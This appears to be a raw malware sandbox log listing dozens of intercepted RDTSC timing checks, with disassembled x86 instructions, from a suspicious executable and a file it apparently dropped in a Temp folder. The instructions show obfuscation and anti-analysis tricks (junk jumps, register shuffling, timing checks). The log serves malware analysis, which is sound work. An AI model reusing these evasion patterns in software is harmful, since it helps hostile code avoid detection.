Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F4087D second address: 4F408BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b pushad 0x0000000c mov ax, B593h 0x00000010 jmp 00007FCBACB2D128h 0x00000015 popad 0x00000016 pop esi 0x00000017 pushad 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F408BF second address: 4F30199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 movzx esi, bx 0x00000008 popad 0x00000009 leave 0x0000000a pushad 0x0000000b mov si, di 0x0000000e pushfd 0x0000000f jmp 00007FCBAD522AADh 0x00000014 sub ecx, 5FE657B6h 0x0000001a jmp 00007FCBAD522AB1h 0x0000001f popfd 0x00000020 popad 0x00000021 retn 0004h 0x00000024 nop 0x00000025 cmp eax, 00000000h 0x00000028 setne al 0x0000002b jmp 00007FCBAD522AA2h 0x0000002d xor ebx, ebx 0x0000002f test al, 01h 0x00000031 jne 00007FCBAD522AA7h 0x00000033 sub esp, 04h 0x00000036 mov dword ptr [esp], 0000000Dh 0x0000003d call 00007FCBB1E20207h 0x00000042 mov edi, edi 0x00000044 jmp 00007FCBAD522AB0h 0x00000049 xchg eax, ebp 0x0000004a pushad 0x0000004b mov di, ax 0x0000004e popad 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FCBAD522AB0h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30199 second address: 4F3019D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F3019D second address: 4F301A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F301A3 second address: 4F301B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBACB2D11Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F301B4 second address: 4F301B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F301B8 second address: 4F301EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FCBACB2D11Dh 0x0000000e mov ebp, esp 0x00000010 jmp 00007FCBACB2D11Eh 0x00000015 sub esp, 2Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FCBACB2D11Ah 0x00000021 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F301EF second address: 4F301FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F301FE second address: 4F30204 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30204 second address: 4F30208 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30208 second address: 4F3022C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FCBACB2D128h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F3022C second address: 4F30285 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov esi, edi 0x00000009 popad 0x0000000a mov dword ptr [esp], ebx 0x0000000d jmp 00007FCBAD522AB9h 0x00000012 xchg eax, edi 0x00000013 jmp 00007FCBAD522AAEh 0x00000018 push eax 0x00000019 jmp 00007FCBAD522AABh 0x0000001e xchg eax, edi 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FCBAD522AB5h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30285 second address: 4F30295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBACB2D11Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30295 second address: 4F30299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F3030E second address: 4F30312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30312 second address: 4F30318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30318 second address: 4F30392 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D120h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c mov dl, cl 0x0000000e popad 0x0000000f je 00007FCBACB2D2F8h 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FCBACB2D122h 0x0000001c and ax, 4618h 0x00000021 jmp 00007FCBACB2D11Bh 0x00000026 popfd 0x00000027 jmp 00007FCBACB2D128h 0x0000002c popad 0x0000002d lea ecx, dword ptr [ebp-14h] 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FCBACB2D127h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30392 second address: 4F30398 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30398 second address: 4F3039C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F3039C second address: 4F303A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30403 second address: 4F30407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30407 second address: 4F30418 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30569 second address: 4F30598 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCBACB2D11Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30598 second address: 4F305CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCBAD522AB8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F305CA second address: 4F305CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F305CE second address: 4F305D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F305D4 second address: 4F305DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F305DA second address: 4F305DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F305DE second address: 4F3068E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D128h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d movsx edx, ax 0x00000010 call 00007FCBACB2D11Ah 0x00000015 push ecx 0x00000016 pop edx 0x00000017 pop ecx 0x00000018 popad 0x00000019 xchg eax, esi 0x0000001a jmp 00007FCBACB2D11Dh 0x0000001f nop 0x00000020 jmp 00007FCBACB2D11Eh 0x00000025 push eax 0x00000026 pushad 0x00000027 mov ecx, edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FCBACB2D123h 0x00000030 sub cl, 0000004Eh 0x00000033 jmp 00007FCBACB2D129h 0x00000038 popfd 0x00000039 mov eax, 660DAC57h 0x0000003e popad 0x0000003f popad 0x00000040 nop 0x00000041 jmp 00007FCBACB2D11Ah 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FCBACB2D127h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30059 second address: 4F3005E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F3005E second address: 4F30064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30064 second address: 4F30068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30068 second address: 4F300B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FCBACB2D123h 0x00000015 jmp 00007FCBACB2D123h 0x0000001a popfd 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F300B6 second address: 4F300BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F300BC second address: 4F300C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F300C0 second address: 4F300C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F300C4 second address: 4F30131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b movsx edi, ax 0x0000000e mov dh, ah 0x00000010 popad 0x00000011 push edx 0x00000012 jmp 00007FCBACB2D11Ch 0x00000017 mov dword ptr [esp], ecx 0x0000001a jmp 00007FCBACB2D120h 0x0000001f mov dword ptr [ebp-04h], 55534552h 0x00000026 pushad 0x00000027 call 00007FCBACB2D11Eh 0x0000002c call 00007FCBACB2D122h 0x00000031 pop ecx 0x00000032 pop edi 0x00000033 call 00007FCBACB2D120h 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30A58 second address: 4F30A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30A5C second address: 4F30A60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30A60 second address: 4F30A66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30A66 second address: 4F30AA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D124h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007FCBACB2D11Ch 0x00000013 adc ecx, 25FBFDB8h 0x00000019 jmp 00007FCBACB2D11Bh 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30B93 second address: 4F30BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FCBAD522AB1h 0x0000000a sbb cx, 2096h 0x0000000f jmp 00007FCBAD522AB1h 0x00000014 popfd 0x00000015 popad 0x00000016 popad 0x00000017 cmp dword ptr [75AB459Ch], 05h 0x0000001e jmp 00007FCBAD522AAEh 0x00000023 je 00007FCC1E0408CEh 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30BE3 second address: 4F30BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30BE7 second address: 4F30BED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30C40 second address: 4F30C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30C44 second address: 4F30C4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30C4A second address: 4F30C7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FCBACB2D11Ah 0x0000000b and ecx, 0499CFD8h 0x00000011 jmp 00007FCBACB2D11Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xor dword ptr [esp], 5AB53124h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30C7C second address: 4F30C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30C80 second address: 4F30C84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30C84 second address: 4F30C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30C8A second address: 4F30CA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBACB2D129h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30CA7 second address: 4F30CAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30CAB second address: 4F30CBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FCC1D651FD5h 0x0000000d push 75A52B70h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [75AB4538h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30CBD second address: 4F30CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCBAD522AB4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30CD6 second address: 4F30D12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FCBACB2D120h 0x00000014 or si, D628h 0x00000019 jmp 00007FCBACB2D11Bh 0x0000001e popfd 0x0000001f mov esi, 46D0FF1Fh 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30D12 second address: 4F30D24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 mov ecx, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [ebp-1Ch], esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 mov dl, 88h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F30D3C second address: 4F30DA7 instructions: 0x00000000 rdtsc 0x00000002 mov ah, bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 test al, al 0x00000009 jmp 00007FCBACB2D120h 0x0000000e je 00007FCC1D640D46h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FCBACB2D11Dh 0x0000001d or si, 4906h 0x00000022 jmp 00007FCBACB2D121h 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007FCBACB2D120h 0x0000002e sbb ecx, 5BE8BFA8h 0x00000034 jmp 00007FCBACB2D11Bh 0x00000039 popfd 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F40985 second address: 4F409E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FCBAD522AAFh 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007FCBAD522AB9h 0x0000000f jmp 00007FCBAD522AABh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, esi 0x00000019 jmp 00007FCBAD522AB6h 0x0000001e push eax 0x0000001f pushad 0x00000020 call 00007FCBAD522AACh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F409E8 second address: 4F409FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 xchg eax, esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FCBACB2D11Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F409FB second address: 4F40A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBAD522AAEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F40A0D second address: 4F40AE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+0Ch] 0x0000000b jmp 00007FCBACB2D127h 0x00000010 test esi, esi 0x00000012 jmp 00007FCBACB2D126h 0x00000017 je 00007FCC1D63AA86h 0x0000001d pushad 0x0000001e mov dx, cx 0x00000021 mov si, F049h 0x00000025 popad 0x00000026 cmp dword ptr [75AB459Ch], 05h 0x0000002d pushad 0x0000002e call 00007FCBACB2D122h 0x00000033 pop edx 0x00000034 pushfd 0x00000035 jmp 00007FCBACB2D11Eh 0x0000003a or si, 11C8h 0x0000003f jmp 00007FCBACB2D11Bh 0x00000044 popfd 0x00000045 popad 0x00000046 je 00007FCC1D652B1Bh 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f pushfd 0x00000050 jmp 00007FCBACB2D11Bh 0x00000055 sub si, 680Eh 0x0000005a jmp 00007FCBACB2D129h 0x0000005f popfd 0x00000060 pushfd 0x00000061 jmp 00007FCBACB2D120h 0x00000066 and si, C688h 0x0000006b jmp 00007FCBACB2D11Bh 0x00000070 popfd 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F40AE9 second address: 4F40B01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBAD522AB4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F40B01 second address: 4F40B05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F40BBA second address: 4F40BCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBAD522AACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F40BCA second address: 4F40BCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F40BCE second address: 4F40C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a push edi 0x0000000b mov di, cx 0x0000000e pop ecx 0x0000000f jmp 00007FCBAD522AB5h 0x00000014 popad 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FCBAD522AADh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F40C03 second address: 4F40C09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	RDTSC instruction interceptor: First address: C860A4 second address: C860A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	RDTSC instruction interceptor: First address: C860A8 second address: C860C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FCBACB2D122h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	RDTSC instruction interceptor: First address: C8DCF4 second address: C8DD11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FCBAD522AABh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	RDTSC instruction interceptor: First address: C8DD11 second address: C8DD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FCBACB2D116h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	RDTSC instruction interceptor: First address: C8DD1B second address: C8DD21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	RDTSC instruction interceptor: First address: C8DD21 second address: C8DD27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	RDTSC instruction interceptor: First address: C8DD27 second address: C8DD2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	RDTSC instruction interceptor: First address: C8E122 second address: C8E137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D121h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
